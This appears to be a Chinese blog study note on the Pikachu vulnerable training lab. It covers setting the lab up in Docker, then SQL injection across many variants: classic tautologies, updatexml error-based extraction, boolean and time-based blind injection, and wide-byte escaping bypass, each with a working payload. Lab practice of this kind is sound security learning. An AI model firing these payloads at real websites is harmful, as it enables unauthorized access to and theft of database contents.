使用SoapUI测试webservice接口详细步骤
325
2022-10-06
pikachu靶场学习(四)
pikachu靶场
环境
虚拟机192.168.48.130docker+centos8
安装
docker search pikachu docker pull area39/pikachu docker images vi pikachu.sh docker run -dt --name pikachu -p 80:80 --rm area39/pikachu chmod +x pikachu.sh ./pikachu docker ps ----------------------------------------------------------------- docker进入镜像 docker ps 查看containerid docker exec -it containerid /bin/bash mysql -u root -p 数据库密码为空密码
SQL-Inject
数字型注入(post)
这里直接用的火狐拦截重发,稍微方便些打开控制台-网络,上面查询id,找到post请求的这个包,右键编辑重发可以看到下面的请求主体,直接修改里面的参数就可以了
?id=1 or 1=1 ?id=1 or 1 select * from 表 where id='1 or 1=1' select * from 表 where id='1 or 1' 1 or 1为查找全部
字符型注入(get)
这个直接在输入框里测试就好了
' or 1=1# selec * from username where uid= ' ' or 1=1# ' and email=xxx.com #号把后面的内容闭合了,与上面一样 or 1=1,1=1为真,查找全部
搜索型注入
这个跟上面用的一样
' or 1=1# selec * from username where uid= ' ' or 1=1# ' and email=xxx.com #把后面的内容闭合了,与上面一样 or 1=1,1=1为真,查找全部
XX型注入
构造语句如下
1') or 1=1# 1') or 1# select * from 表 where uid=(' ') and email=xxx.com select * from 表 where uid=('1')or 1=1#') and email=xxx.com select * from 表 where uid=1 or 1
"insert/update"注入
1' or updatexml(1,concat(0x7e,database()),0) or' updatexml:mysql对xml文档进行查询和修改的XPATH函数 concat:连接字符串函数 0x7e:assic码中的' ~ ' insert into 表名(name,passwd,sex,phone,address)value(xxx,xxx,xxx,xxx,xxx) insert into 表名(name,passwd,sex,phone,address)value('1' or updatexml(1,concat(0x7e,database()),0) or'',xxx,xxx,xxx,xxx)
update注入在修改个人信息处插入语句
1' or updatexml(1,concat(0x7e,database()),0) or' update 表名 set sex = 'xxx ',phone='xxx',address='xxx',email='xxx' where name = ' ' update 表名 set sex = '1' or updatexml(1,concat(0x7e,database()),0) or'',phone='xxx',address='xxx',email='xxx' where name = '用户名 '
"delete"注入
先提交一条留言,然后在点删除的时候抓包,在?id=xx后加上构造的语句
or updatexml(1,concat(0x7e,database()),0) delete from 表名 where id=57 delete from 表名 where id=57 or updatexml(1,concat(0x7e,database()),0)
"header"注入
抓包后在user-agent处插入语句
1' or updatexml(1,concat(0x7e,database()),0) or'
盲注(base on boolian)
语句后面的 '=112' 其实就是数据库名称的第一个字符的asc码,112对应p
allen' and ascii(substr(database(),1,1))=112#
盲注(base on time)
先测试下看下响应时间判断是否存在注入点
allen' and sleep(3)#
通过延迟来判断数据库的字符判断第一个字符为p
allen' and if((substr(database(),1,1))='p',sleep(3),null)#
也可以通过更改database后的数字来判断数据库不同位置的字符
allen' and if((substr(database(),2,1))='i',sleep(3),null)#
宽字节注入
先输入用户名查询下,在查询的时候抓包单引号会被转义为\' url编码为%5c%df%5c组合为繁体字運,可以使单引号完成闭合将请求中的name的值替换成构造的语句即可
%df' or 1=1# '%df%5c%27 or 1=1#' '運' or 1=1#'
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。
发表评论
暂时没有评论,来抢沙发吧~